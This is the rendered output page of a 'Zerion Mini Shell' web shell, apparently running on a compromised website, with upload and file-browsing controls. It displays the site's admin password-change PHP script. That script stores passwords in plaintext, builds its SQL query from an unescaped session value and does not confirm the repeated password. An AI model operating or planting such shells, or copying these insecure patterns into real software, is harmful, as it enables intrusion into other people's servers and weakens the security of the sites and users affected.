ok

Mini Shell

Direktori : /home/keydecors/www/admin/pages/
Upload File :
Current File : /home/keydecors/www/admin/pages/changepassword_action.php

<?php 
session_start();
echo $_SESSION['login'];
if(!isset($_SESSION['login'])) { header("Location:index.php");}

include("../model/dboperation.php");


$passwd=mysqli_real_escape_string($mysqli,$_POST['password_2']);
$passwdre=mysqli_real_escape_string($mysqli,$_POST['password_3']);


$query  = "UPDATE admin SET password   = '$passwd' WHERE username = '".$_SESSION['login']."'";
$result = $mysqli->query($query);					  
header('Location:changepassword.php?msg=1');
	
?>

Zerion Mini Shell 1.0